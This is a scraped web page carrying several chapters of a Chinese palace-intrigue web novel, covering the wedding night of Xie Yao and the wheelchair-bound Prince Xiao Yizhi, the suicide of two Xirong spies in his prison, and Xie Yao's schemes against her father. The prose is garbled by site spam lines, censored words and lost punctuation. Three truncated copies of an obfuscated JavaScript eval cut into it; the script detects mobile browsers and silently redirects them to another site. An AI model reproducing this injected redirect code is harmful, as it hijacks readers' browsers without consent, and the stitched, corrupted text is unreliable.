谢窈看着锦盒,又看他重新系好衣襟的动作,才反应过来,她竟然想歪了! 谢窈深吸一口气打开盒子,里面,是一柄沉香木刀鞘,上面刻着细密的金质回纹,是她惯用的长刀尺寸,格外的精致漂亮。 “本王见你的刀没有刀鞘,便找了工匠锻造,还望王妃收下。” 箫熠之的语气听不出情绪,他没说,这刀鞘是他亲自估算尺寸画的图样,更是他在工匠指导下亲手做的。 习惯用刀的人,不一定会习惯用鞘,他如果说是自己最做的,谢窈就算不习惯,顾忌他也得用上,那就违背了他送礼物的初衷。 谢窈抚过微凉的刀鞘,脸上还热得厉害:“多谢王爷。” 她压下心中的异样情绪,站起身,走到他身边:“我来扶王爷上床。” 箫熠之身体微不可察地僵了一下,目光扫向自己双腿,下意识想拒绝。 可看到谢窈伸出的手,到嘴边的话,鬼使神差咽了回去。 谢窈并没有刻意讨好,也没有可怜,而是像他从前在军中,搀扶受伤将士那样,稳稳地将他扶起来。 “这样感觉如何?” 谢窈语气平静下来。 王爷的身体比看上去要沉一些,尤其是她抚到他的上臂,肌肉紧绷结实,热度透过布料传到她指尖,让她很想感叹一两句军中荤话,但她忍了。 她不知他的腿伤到什么程度,是从膝盖之下,还是从大腿之下,是毫无知觉,还是会疼痛? 王爷柔弱不能自理,她不能把人弄疼,更不能像之前把芝黛提起来,直接丢床上那样,所以她尽量放缓动作,从没这么小心翼翼,并且时刻询问对方的感受。 箫熠之本想自己将轮椅挪到床边,自己抬臂上床,虽然费力一些,也不雅观,但并不是做不到。 “本王无碍,王妃随意便好。” 一开口的声音,却莫名有些干涩。 谢窈正扶着箫熠之往床沿挪,手腕,忽然被他轻轻按住。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第135章 将本王,当做你的盟友 谢窈微怔地抬头,见箫熠之的眼神幽深莫测,抬手朝自己脸颊探来。 她没有躲。 箫熠之的指腹微凉,带着弯弓引箭的薄茧,扫过她颧骨下方。 动作很轻,却像灼烧的羽毛,在她皮肤上游离了两个呼吸才收回,指腹多了一抹暗红。 “这里没擦干净。” 箫熠之声音透着一丝喑哑,耳根泛起不易察觉的绯色。 两人距离很近,谢窈嗅到他身上有极淡的酒气,她下意识问:“王爷喝了谁的酒?” 箫熠之低头闻自己身上:“本王已经沐浴更衣,还是有味道?寻常人不敢给本王敬酒,本王只喝了许家舅舅一杯,苏将军一杯,还有三叔一杯,还有……” 他只喝了三杯酒,但其中两杯,都是因为她。 箫熠之的目光,落在桌上的合卺酒上。 还有眼前这杯。 谢窈努力定了定神,继续扶着他。 将箫熠之安置妥当,谢窈转过身,熄灭大半烛火,留下婚房内设置的长明喜烛。 她将合卺酒倒入两盏金樽,一盏递给王爷,一盏自己拿着。 王爷赶走了所有人,自然不会有喜婆之类的来讲规矩流程,何况,她的喜扇都早已放下,也不需遵什么规矩。 谢窈目光扫过床榻,语气自然地询问:“王爷身子不便,这边地上倒也宽敞,是否要我取床被褥,打个地铺?” 她有点纠结。 也有些紧张。 更多的是坦然。 谢窈还是不知王爷的腿到底伤到何种程度,但总归是要面对,既然决定嫁给靖北王,便没什么可避讳的,她做好了任何准备。 是好是坏,是行不行,她都可以。 即便今晚王爷连合卺酒都不喝,想去流霞院和她分房睡,她也接受。 就是得把人再从床上扶起来了,自己是没关系,王爷倒怪累的。 至于外界传闻,王爷双腿残疾后喜怒无常,内心扭曲,或许在床笫一事上,会折磨别人…… 他真敢在自己面前扭曲,那她要看看最后谁扭曲谁。 箫熠之靠在床头,望着烛火下,新婚妻子明艳绝色的容颜。 静默的眼底,掠过一抹复杂情绪。 随即,他仰起头,将合卺酒一饮而尽。 酒是凉的。 刚才燃起的炙热本能,悄然散去。 试问世间哪个女子,不想要个能并肩同行的夫君?哪个女子,愿意在新婚之夜,侍奉一个双腿残疾的男人? 箫熠之的眼前,浮现在伯府门前,初见谢窈的情景。 她身上有风,眼底有光,自在夺目。 正因如此,箫熠之心里涩意更甚。 即便他腿废了,不该废的还没废,在触及到谢窈脸颊的时候,他清晰感受到自己心跳失序,身体的异样。 即便她搀扶自己时,眼神澄澈,未曾流露半分嫌弃。 但他知道,谢窈心里那道防线还在,她还不信他。 两年前岐江一战,他除了双腿筋脉尽断,还中了西戎人箭上的毒,这种毒,导致自己腿一直难以医治。 如果他的腿没事,他大可以在新婚之夜,为妻子献出自己的一切,将风笼于掌心占有。 但现在的他,不愿折辱这个自在肆意的谢窈。 箫熠之压下心中翻涌的情绪,淡声道:“箱柜里有被褥。” 谢窈懂了。 对此她并没有任何意见,同样仰头饮下合卺酒,转身便要去开箱柜。 王爷的腿不行,她愿意让王爷睡在床上,再说,婚房地都是暖的,行军打仗时,马厩里,雪地上,自己都睡过。 谢窈正要转身,又听王爷说:“对了,你今日的妆容还没卸。” 她摸了摸自己的脸,大婚的妆容确实还没卸,若捂在脸上睡一晚,很不舒服。 想到自己拆凤冠时的情景,谢窈散开发带,便开门出去:“我去找忍冬。” 忍冬正守在廊下,见她出来,欲言又止,最后只吐出两个字:“小姐?” “烧些热水,我要沐浴卸妆。” 忍冬欲言再止:“小姐?” 谢窈转身看她:“你想说什么,直说。” 忍冬结结巴巴:“王爷,传闻……不是……奴婢是说,王爷不会有什么非人的爱好……吧?如果……总之小姐要是受委屈了,就喊,奴婢,奴婢马上冲进去!” 谢窈默默从怀里掏出一柄刀鞘,塞给她,笑了笑:“不必担心,将这个收好。” 忍冬瞪大眼睛,没想到小姐大婚之夜从婚房里,掏出一柄刀鞘! 到,到底谁有非人的爱好?! “王爷不会……你,您不会——” 谢窈正色:“不要胡思乱想,王爷很正常,我也很正常,我看,是你不知从哪听来的胡乱言语不正常。” 忍冬松了一口气,愧疚地低头:“是奴婢错了,奴婢不该如此想您和王爷。” 谢窈这才道:“今晚是大婚之夜,但屋外只有你一人,你警醒些,明天告诉我,各院派来听墙角的都有谁。” “是,奴婢明白。” 谢窈被她引到侧屋的盥浴室,由她帮着洗漱之后,才回了房。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!随即,谢二小姐眉毛挑起。 王爷把她支走,在她出去卸妆时,竟然已经躺好了。 他自己脱了衣服,外袍搭在床位,被子盖到腰间,只穿一件红色里衣。 难道王爷又行了—— 箫熠之看向她,看向地,看向窗外,开口:“别铺了,地上冷。” 谢窈:“哦?” “这床榻太宽,本王一人睡不好,”箫熠之不想让她觉得冒犯,努力维持平静,“上来吧。” 上来就上来! 谢窈只愣了一下,就点点头,解开外衣叠好放到床边的凳子上,掀开被子一侧,躺了下去。 梅香几缕,烛火摇曳,床幔低回。 两人之间隔着几寸距离,谢窈能感受到王爷近在咫尺的热度和呼吸,她规矩矜持地躺着,双手交叠在身前,等待王爷的动作。 但是等了许久,王爷也没有动作。 她睡不着,看着帐顶的缠枝莲纹,脑海里翻涌着朱嬷嬷的话。 此刻身侧的人,又是箫熠之。 谢窈回想起前世种种,他策马行至自己尸身前,说的那句似判词的话语,还在耳边回响。 ——“伯府嫡女,状元之妻,用两年认清人心还算不晚,可惜,竟死在这里。” 兜兜转转,她竟然与这个男子喝下合卺酒,拜堂成亲。 这时,箫熠之低沉的声音传来:“睡不着?你头发还未干,入睡对身体不好。” 谢窈没有回答,王爷却自己接了话:“本王也睡不着。” “本王第一次,与女子同塌而眠。” 谢窈恍然意识到,前世一直到自己死,她也没听说过靖北王成亲,他还真是一直孤家寡人的那个。 谢窈忍不住偏过头看身侧的人,箫熠之平躺着,肩背面容微绷,一缕月色落在他的侧脸上。 箫熠之感受到她的注视,又自顾自地说: “今晚,你与本王亥时就已歇下,伯府的事,不会牵扯到我们。至于御鹰司那边,长公主对张庆才有恩,而你是长公主的人,他就算在祠堂发现了什么,也知道什么该说,什么不该说。” “何况,你这场火引得甚好,可以代皇上挫一挫伯府气焰,张庆才若什么都查不出来,会将一切扣在文昌伯自己身上,认为他在自污,但越是这样,皇上越忌惮他。” 王爷声音微低,娓娓道来,像是沐浴时温和的水汽,一点点漫过谢窈心里那些冰冷的角落。 “往后在王府,有本王在,”箫熠之淡声道,语气越发轻缓,“至于其他事,一件件做,不必急,也不必怕,” 他似乎酝酿了片刻,才又说:“或许,你可以将自己当做靖北王妃,将本王,当做你的盟友。” 盟友。 谢窈所求的,正是靖北王的盟友。 她并不是想要依附谁,而是自己握住那些权柄。 与其做别人棋盘上的棋子,不如自己做执棋人。 但是,箫熠之今夜将他的私产交给自己,又递出了盟友的招揽,若做盟友,总得拿出些诚意,可自己心里还藏着太多事,不论是伯府,母亲,还是陆慎言,又或是在边军的身份,她都没说。 对于箫熠之来说,她只是皇上赐婚给他王爵之上的装点,他今日可以信誓旦旦说护着她,为她隐瞒伯府的大火,但来日又会如何? 除非自己对他有用,像对长公主有用那样,长公主可以借自己的存在,告诉世人沈皇后的遗泽尚在,亦或者两人是平等的,才能并肩前行,做真正的同盟。 但无论如何,身边那道温热的气息始终存在,谢窈紧绷了一日的精神,竟慢慢松懈下来。 “嗯。” 她应了一声,随即困意涌来,眼皮越来越沉。 半睡半醒之中,谢窈感觉身侧的人动了动,有极轻的布料摩擦声,但她在莫名的安心中,沉沉睡去。 箫熠之等谢窈呼吸匀称了,才望向她。 月色在她脸上投下淡色光影,卸去凤冠还有那条发带,谢窈身上少了锋芒,睡梦里似乎也在操心什么,皱着眉。 若有若无的幽香从她身上传来,让他眸色幽深了几分。 王爷犹豫许久,一只手掌心裹住自己食指,待指尖有了暖意,才极其缓慢地,小心地抬起手,抚平谢窈微蹙的眉心。 没想到这时,谢窈忽然翻了个身,直接把手搭在他腰上,遂紧紧搂住,头也埋到他的肩膀。 “母亲……” 柔软的乌发落在箫熠之颈间,有些痒,他整个人一动不动,僵硬成自己两条腿。 等等,谢窈今晚喝了合卺酒。 那日在云鹤楼,她也是喝了酒,抱着他大腿叫…… 箫熠之无奈地垂眸,望着她的睡颜许久,最终闭上了眼。 喜欢渣爹杀妻灭女?重生断亲,全族祭天请大家收藏:()渣爹杀妻灭女?重生断亲,全族祭天更新速度全网最快。 第136章 王妃先走出婚房? 次日一早,天微亮,王府老管家就和白术白蔹一起,恭候在婚房外。 婚房所在的院子叫扶光院,是整个王府最宽敞,也是最奢华考究的院子。 院内植有梧桐,落成之初,便是为王爷和未来王妃准备的。 王爷封王后,在扶光院住过一段时间,但腿伤之后,反而一直住在旁边的流霞院。 “平时说我没眼色不会说话,呵呵,这可是王爷与谢二小姐大婚第二天,大冬天的,你俩非要守着干啥,不冷啊。” 白蔹一脸无奈,冷得缩了缩脖子。 老管家提醒道:“小白侍卫,以后得叫谢二小姐王妃了。” 白蔹微微一怔,看着房门口张贴的喜字:“哦对。” 白术白了他一眼:“你不也来了,自己穿得少,怪谁。” 白蔹只穿着身单薄劲装,在寒风里,挺拔且瑟瑟发抖。 “啊?是谁天还没亮就来拍我屋门,叫我说——白蔹、白蔹,你肯定已经醒了,快跟为兄一起去见王爷。” 白术面无表情:“……我有要事跟王爷禀报。” “我看,你就是不敢一个人叫门,”白蔹啧了一声,“管家您呢,您也没个眼力见?” 老管家尴尬笑道:“老奴其实今天不想这么早来到,但王爷平时不就这时醒吗,而且,王爷昨日饮了酒,今天得在早膳前用一副汤药。” 白蔹:“王爷要是醒了,你进去伺候,那王妃必然也得起床,这不就打扰了他们吗。” 他摇了摇头:“不如我们打赌,我赌二两银子,王爷今日会陪王妃睡到日上三竿,你说是吧忍冬姑娘,等等,忍冬姑娘?!” 白蔹忽然睁大了眼睛,只见穿戴整齐,捧着手炉的忍冬,从耳房走出来。 “忍冬姑娘起了?那——” 他话没说完,就见换了身月白绣金色莲花纹直裾的王妃,手提长刀,走出婚房,眼睫半敛,清冷似玉人。 白蔹:“……” 白术看见那刀,更是“嗖”地窜进屋子。 王爷安然无恙,正披着外袍坐在床边,默默望着自家王妃的背影,唇角,还噙着一丝无奈的笑意。 谁懂,他身为一个身体有伤,平时几乎不运动,导致失眠多梦还容易觉少早醒的残疾王爷,一睁眼,见到谢窈已经醒了,并且正在穿衣裳的感觉。 箫熠之本来还有些忧虑,他平时醒得比鸡早,然而院里都是男子侍从,自己又睡在了里侧,难道要请醒王妃让一让,让她先穿上衣服,再叫老管家扶自 你的朋友正在书荒,快去帮帮他吧 己起身吗。 早知道就不跟王妃睡……早知道他就睡外侧了。 下一刻,王妃看他醒来,微微一笑:“王爷,要我帮您穿衣服吗? 箫熠之被谢窈压了一夜的胳膊还麻着,但还是瞬间摇头:“不必。 王妃自己穿好衣裳,到外屋,她的丫鬟已经给她准备好洗漱物件,更给她送来了一把刀。 于是,王妃拿着刀,推开门,做大婚第二天,首个从婚房走出去的人。 箫熠之回过神,看向白术:“什么事? 这个时辰,若无要事,白术不可能出现在这里。 白术深吸一口气,面色凝重:“王爷,那两个西戎人,没了。 半个月前,他们的人抓到一队西戎间人,为首的两个,隶属西戎三王子麾下。 世人皆知,两年前岐江一战,西戎三王子假意与大燕谈判议和,却派人掳走了皇上的盛月小公主,王爷率兵追击,最后追回公主,却身受重伤,双腿残疾。 但极少有人知道,西戎人,还掳走了王爷的母妃——靖宁夫人! 王爷以八百骑兵,全歼西戎五千埋伏,可最终,也没能找到靖宁夫人。 前来支援的前任京畿营统领秦将军,王爷的表兄,也被西戎人害死。 王府与西戎人血海深仇,这两年,但凡敢潜进京的西戎探子,没有一个,能逃过王府追捕。 靖宁夫人生死不知,王爷只能不断抓捕西戎探子,来找寻唯一的线索。 白术硬着头皮道:“属下昨晚巡查时还好好的,今日寅时起夜,想去看看,却发现二人都已断气。 箫熠之没说话,脸上的笑容,一寸寸消弭。 “推本王去密牢。他说道。 谢窈来到院中,跟管家点头,示意他可以进去服侍。 随即,她开始每日清晨的练刀。 忍冬这才说:“小白侍卫,我家小姐,王妃一直有早起练刀的习惯,所以是不会睡到日上三竿的。 白蔹:“原来如此。 他就要溜,白术走出来,大步走到他身前,拎住他衣领,张开手:“二两银子。 白蔹:“大哥,你也没答应跟我赌啊! 白术:“我心里答应了。 “算你狠。 白蔹掏出二两碎银,恨不得砸到白术脸上,然后,他气鼓鼓蹲到旁边门槛处,看谢窈练刀。 白术暗自瞥了一眼看热闹的忍冬,慢慢靠近,再靠近,迅速将其中一两银子塞给她,吐出四个 你的朋友正在书荒,快去帮帮他吧 字:“见者有份。” 忍冬还没来得及拒绝,手里就多出一两银子,她想还给对方,对方却推着面容冷漠的王爷,她只好作罢离开。 路过正在练刀的谢窈,王爷停下来,静静地看着。 等她练完一遍的间隙,他才说:“本王有些事要处理,晚些时候,会回扶光院,陪王妃一起去给祖母敬茶。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16188664|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 谢窈点头,听说箫熠之平时,放着宽敞舒适的扶光院不住,而是住流霞院。 或许,婚后他还住流霞院也说不定。 见白蔹熟练地收了婚房内室门槛处的木板,外室门槛处的木板,又将木板铺在院门口,白术则推着王爷离开,她明白了什么。 等她练完刀,忍冬带着七两,还有一名侍女打扮的女子回来。 “王妃,七两来了,另外这位姑娘,是许家舅爷昨天与嫁妆一起送来的六名丫鬟之首。” 丫鬟容貌秀丽,一袭素蓝衣裙,欠身行礼: “奴婢姓许,名长思,谨遵少东家之命,从此视王妃为主,听从王妃吩咐。” “姓许?你是许家的旁支?”谢窈问。 长思说道:“元睿七年,天大旱,白骨蔽于野,奴婢生父欲于他人易子而食,是少东家与东家救下奴婢,奴婢因此改名换姓,跟在少东家身边学习经商理财。” 谢窈将她扶起来:“既然是舅舅送来的,我自然放心,之后有些事,还得你辛苦些替我去做。” 忍冬内心忽然有了一丝危机感。 这许长思会经商理财?她可不太会啊! 要么,以后少将军受伤吃药的时候,她多放几枚蜜饯吧。 呸呸呸,少将军不可能受伤! 长思立在一旁,默默打量着王妃和王妃的丫鬟,心里估计着自己之后要做的事。 七两得知“长思”这个名字,则觉得有些耳熟,好像在哪里听说过。 他想了半天,没想起来,于是抛下这点,笑出一口白牙:“小的是刚从伯府来王府的,有件喜事告诉王妃。” 七两本来昨天该跟嫁妆一起到王府,但因为祠堂的火,以及谢窈的吩咐,就在伯府多留了一日。 其实他也可以再留一日,等明天王妃回门后,跟王妃一起回王府,但他等不及了。 谢窈见七两笑得这么灿烂,也高兴地问:“是大火蔓延,把文昌伯烧**?幸好我婚成得快,否则还得守孝。” 忍冬:“……” 长思:“……” 初次见面,原来王妃是这样的性格。 七两沉默半晌,憋出四个字:“那倒没有。” 谢窈失望地低头。 七两:“但也差不多,昨夜大火烧到了谢家二爷的偏院,二爷次子谢成柏,因为被打了二十棍,躺在床上没人管,自己呛了几口烟,突然,疯啦。” “疯了?” “疯了!小的走的时候,谢成柏光着屁股满地跑,谢二爷正在后面追呢。” 长思忽然开口:“并非没人管。” 谢窈:“哦?” 长思:“也并非突然。” 她说道:“昨日,文昌伯嫡子谢宴,跟少东家要了些特殊的药。” 第137章 血海深仇,王爷**不见血 靖北王府深处的密牢,潮湿中,弥漫着浓重的血腥味。 “自尽?” 靖北王坐在轮椅上,看着囚室角落两个早已僵硬的尸体。 西戎人深褐色的卷发黏在血污之中,脖颈上的伤口外翻。 他们的尸身上,遍布着纵横交错的旧伤,刀痕叠着烫伤,手踝脚踝都是铁链磨出血痂。 旁边的白蔹震惊道:“这间囚室,是属下亲自布置的,里面每块砖属下都亲自检查过,而且这两个人还系着铁索脚链,就算他们想撞墙自尽,脖子也够不到啊。” “搜。” 箫熠之吐出一个字。 两人立即上前,很快,在稻草堆里找到半片锋利而破碎的瓷片,边缘还沾染着干涸的血迹。 “这像酒壶的碎片。”白蔹道。 箫熠之捻起瓷片,薄而锋利,确实能轻易划开皮肉。 他可以想象到,这个西戎人用瓷片割断自己喉咙,再将瓷片扔给另一个人时,解脱的模样。 箫熠之用这枚瓷片,一下一下,轻轻敲击着轮椅的扶手,发出规律的声响,听得人心里发毛。 “昨日,秦家人来过?” 白蔹惊了,两个西戎探子的死,和秦家人有关? 白术则面色一沉,喉咙发紧: “是,昨天王爷大婚,秦舅爷询问属下是否查到靖宁夫人的踪迹,得知新抓到两个探子,就来了囚室。只不过,他刚进来,看见这两人身上的伤,就忍不住吐了。” 两年前,靖宁夫人被西戎人掳走,活不见人,死不见尸。 事后西戎人想借此威胁王爷,却拿不出真凭实据的信物,凭这一点,靖宁夫人还有活着的可能。 但是,靖宁夫人一介弱女子,不会武功,知道此事的人,都默认她已经不在人世。 可谁要是敢在王爷面前,提靖宁夫人过世,轻则被杖责,重则,直接会被丢去后山喂狼。 当初王爷第一次做轮椅上朝,就因为这件事,当着满朝文武的面,用刀背把江老丞相的儿子江尚书揍吐血了。 秦舅爷是靖宁夫人的亲弟弟,也是在岐江一战中,战死的秦将军的父亲。 按说,最该恨西戎人的就是他,他怎么敢坏王爷的事? 可秦家,毕竟是朝中仅剩几个与王府关系尚可的亲戚了。 秦老将军是王爷的外公,白发苍苍的老人,前些日子得知王爷大婚,亲自上门,送来一篮金饼,喜极而泣。 秦舅爷昨晚,跟三爷喝了几杯,鼻涕一把眼泪 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 一把地说想儿子想姐姐。 宫里的秦颖妃跟王府不熟但因为王爷救回了胜月公主逢年过节会送小公主出宫来给王爷和萧家先祖磕头。 白术试图替秦舅爷说情:“是西戎人求秦舅爷给他个痛快秦舅爷是文臣没见过这样的场面被吓得摔碎了酒壶或许他不是故意的。” “不是故意的?” 白蔹猛地攥紧拳头眼底泛起血色白皙俊秀的脸庞涨红。 他想到两年前他赶到岐江看到那处战场的情景。 “那群西戎牲畜也配给他们个痛快我呸!他们当初埋伏在岐江怕暴露不但取用于民把周边几个村子都屠了还将我们燕人当成两脚羊!我在岐江捞了王爷七天七夜秦将军的尸身更是被——” 白蔹话说到一半被箫熠之冷冽一瞥只好咽了回去。 他的怒意却没散。 “王爷债还没算完秦舅爷明明也盼靖宁夫人回来却敢在王爷的牢里给害死他儿子害了靖宁夫人的人发慈悲他配吗!” 他啐了一口 白术没拦着。 他心里清楚王爷这两年唯一在意的就是靖宁夫人以及表兄秦将军与那些将士的死。 京中说王爷残忍暴虐喜欢虐杀他人的传言也是因为王府会时不时抬出几具西戎人尸体丢去后山。 虽然秦舅爷是王爷的舅舅但王爷树敌无数多秦家一个不多少他们一个也不少。 只是白术却感觉王爷活得像个紧绷的弓弦再这么下去弓弦早晚会断掉。 他张了张口却不知该如何劝说。 难不成劝王爷顾念亲戚之情不要殴打长辈? 就在两个侍卫都以为王爷会暴怒下令与秦家**的时候箫熠之却只是丢掉了那枚碎瓷片。 “把尸体拖去后山喂狼。”他语气淡漠。 “传令下去秦家之人往后不得踏入密牢半步再将这件事告诉秦老将军让他……管教好本王的舅舅。” 如果秦老将军知道自己儿子对害死自己嫡孙和掳走自己爱女的西戎人心怀怜悯会比他做得更狠。 白术怔住片刻连忙点头不知不觉松了一口气:“是属下这就去。” 白蔹:“王爷就这?” 箫熠之没理他岐江一战的 听说看这本书的人都是很幸运的,分享后你的运气会更棒 回忆在脑海中浮现。 他将西戎三王子的人马围在岐江岸边,箭矢如雨点落下,身边的士卒越来越少。 先前派出去的先锋骑士冲回来,道:“王爷,没有援军了!” “什么叫没有援军?本王脚下,难道不是大燕的土地?” “是秦将军……秦将军回援被伏,已经战死!离这边最近的北境边军,也在几百里外!” 西戎三王子派人前来劝降,说只要他投降,三王子能赦免八百将士性命,让他做西戎一人之下万人之上的谷蠡王。 箫熠之持**,将劝降之人挑**下,一**死,仰天吼道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16188665|181036||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “大燕将士,誓死不降!” 所有的燕国将士,同样齐声怒吼,声音回荡在岐江长岸。 “大燕将士,誓死不降!” 最后,他痛快地战了一场,战到身边再也没有活着的袍泽,再也没有活着的敌人。 无法确定谁会为自己敛尸,箫熠之弃了**,投身滔滔江水。 江水剥夺了他的五感,让他眼前混沌一片,直到…… 冰冷的画面,扬起一阵风,燃起一团火,忽然亮堂起来。 箫熠之垂眸,看着自己腰间的仙鹤香囊,他捏了捏,里面,是一枚昨日大婚,许家倾洒的喜钱。 岐江一战的仇要报,母妃的下落要查,但如今的他,不再是孤身一人了。 “愣着做什么。” 箫熠之抬眸,眸色里的戾气仍旧阴森,语气却轻缓。 “本王心善,见不得血,还是让秦老将军替本王,打断舅舅的腿吧。” 白术拉住还想说什么的白蔹,招呼人,拖走那两个西戎人的尸体。 白蔹憋了许久,才道:“王爷今天怎么怪怪的,他心善?换做以前,他早叫我去打断秦舅爷的腿了,**不见血,这不是咱王府的风格。” 白术:“早该这样,你是不是就想见血,打断秦舅爷的腿。” 白蔹:“……我不是,我没有,别瞎说。” 他只是想到昨夜跟王妃火烧祠堂,感觉今天再打断条秦舅爷的腿,日子才充实嘛。 白术跟上前的时候,王爷正被老管家推着轮椅,向扶光院而去。 晨光驱散了密牢内的血腥与阴冷,洒在王爷身上,也将远处那黛墙金瓦衬得格外鲜亮。 箫熠之望着那片还未撤去红绸的院落,眸色渐渐柔和。 * “没死就没死吧,否则,昨日伯府的红绸还没烧干净,今天又得挂白布,还得让母亲操劳。” 扶光院里,谢窈听到谢成柏疯了,有些惊讶。 谢二爷一共三个儿子,长子谢成榆先被逐出京畿营,又被打断双腿,捅了一刀后,已经沦为废人。 幼子年纪还小,胖墩且丑,不被谢二爷喜欢。 只有二儿子谢成柏,虽然因为推谢老夫人落水,被打了二十棍,禁足三月,但他是谢二爷唯一的指望。 没想到,竟然疯了。 从长思口中,得知害谢成柏的人是谢宴,谢窈又不意外了。 她还记得那日谢宴说:他本就看谢成柏不爽,干脆趁他病要他命,斩草除根吧。 弟弟,倒是没有开玩笑。 只不过…… 明日她回门之日,就是替母亲,讨回公道之时。 不知那时,她的弟弟,又会站在哪边呢。 谢窈定了定神,问七两:“你离开伯府之前,我交代的事,办得如何?” 第138章 请爹入瓮,丫鬟碰瓷? “王妃的第一件事,小的已经告诉了伯夫人,伯夫人要小的转告您,万事小心。 “王妃第二件事,是让文昌伯知道第一件事,蒲苇姑娘借文昌伯安插在晚香院里小丫鬟的口,把消息放了出去,伯爷肯定已经知道。 七两恭敬地回答。 谢窈勾起唇角,挽了个刀花:“好。 她在大婚前夜,除了让七两将引火的火油桐油等物,暗中放到谢家祠堂,还吩咐了他两件事。 第一件事,是等自己离开伯府后,告诉母亲:女儿已寻得良药,会在回门之时,医治好母亲的身体,等母亲身体无恙了,自己嫁妆里的田产铺子,就交给她打理。 谢窈自信自己必然可以在大婚之夜,得到曼陀散的解药。 如今,她已经拿到。 所以她希望母亲能振作精神,应对往后的风雨。 第二件事,则是让谢明安知道第一件事。 以谢明安的贪婪虚伪,经历了一场大火,又发现朱嬷嬷在书斋的尸体,他早已慌不择路。 得知她将自己陪嫁交给母亲打理,他必然会自诩能拿捏母亲,铤而走险地主动出击。 谢明安想将自己的回门宴,变成一场鸿门宴。 而她请爹入瓮,会让所有人知道这个爹的真实面目,然后,拿回属于母亲的一切! 七两又说起伯府的情况:“昨晚快午时,伯府才将庆公公何大人等人送走,听说还有个嬷嬷烧死在大火中,今天一早谢成柏又疯了,小的走的时候,看见文昌伯,感觉他人都瘦了, 他一脸忿忿不平:“来王府路上,小的听见棠柳巷的街坊邻居议论纷纷,倒是让他一场大火,压过了王妃大婚的风头。 谢窈:“你是会得了便宜还卖乖的。 忍冬在一旁听两人打哑谜,虽然好奇,但并不多问,而是取出谢窈让她查验的青瓷瓶。 “王妃,奴婢已经确定,这正是曼陀散的解药。 谢窈相信忍冬的医术,听到这话,彻底放下心来。 “王妃已经找到曼陀散解药了?长思忽然开口。 谢窈眉毛一挑:“你也知道,我在寻解药? 这个丫鬟,是舅舅给她的,虽然信得过,但她还不太了解。 长思道:“先前,王妃请少东家查济安堂有没有曼陀散解药,此事少东家交给奴婢办了,奴婢接手孙家三处药铺后,并未发现,还没来得及跟您说。 谢窈的确请舅舅帮忙查过济安堂,但怕舅舅担心,没有告诉 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 他母亲**一事。 能知道谢宴跟舅舅拿药,又让舅舅把查解药这种事交给她办,长思断然不是寻常丫鬟。 谢窈不禁问道:“长思,你以前在许家,是做什么的?” 长思露出一个腼腆笑容:“奴婢之前,随少东家,任许氏钱庄和锦绣布庄在京城铺子的总账房,几日前,少东家把新收购的三间孙家药铺交给奴婢打理。不过王妃放心,现在那些都交接好了,奴婢以后是王妃的人,绝不会耽误王妃的吩咐。” 这一次,谢窈切实地流露出惊讶神色。 “许氏钱庄和锦绣布庄,是许家最大的产业之一,舅舅竟然将他的账房给了我。” 在她看来,商场如战场,她是战场的将军,这长思,则是管账理财的好手。 七两消息更灵通一些,终于想起,为什么他会觉得长思名字耳熟了。 “莫非,姐姐就是许氏钱庄的女账房?”他震惊地问。 许长思点头。 七两兴冲冲跟谢窈说:“王妃,长思姐姐在京中贵妇和闺阁小姐中很出名,最擅给她们打理钱财家事,还能让她们的钱生钱!” 他从前在谢枝院子里,听人说起过,很多闺阁小姐,都会将自己的私房体己,存到许氏钱庄,指定让一位女账房打理。 谢窈听到七两的话,再看向长思,心里有了想法。 “忍冬,从今以后,你要多跟着长思学习了。”她语气调笑。 忍冬站起身,匆匆离开:“诶呀,王妃找到这么多曼陀散解药,奴婢得去研究研究,伯夫人应该用多少剂量呢。” 看着她溜了,谢窈笑了笑,没有强求。 她又对七两说:“既然回来了,以后你就在扶光院做事,我还有一件事,要你去查。” 七两立即道:“单凭王妃吩咐。” 谢窈回想起昨夜账册上,看到的金眼玉佛旁的地址,正要说,老管家推着箫熠之来到院门口。 王爷换了身月白束腰直裾,外罩墨色大氅,风姿华贵。 白术铺着院门口门槛的木板,方便王爷轮椅通行。 白蔹窜上前:“王妃,咱们可以一起去跟老夫人敬茶了。” 说着,小白侍卫发现七两正是昨夜谢家祠堂内,吓得浑身发抖,但还挡在王妃前面那个小厮。 他立即挤开七两,凑到谢窈面前:“王妃有何吩咐,交给属下和属下兄长就行,何必让一个不会武功的小厮干。” 七两忽然感觉自己和忍冬姑娘感同身受了,都……莫名其 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 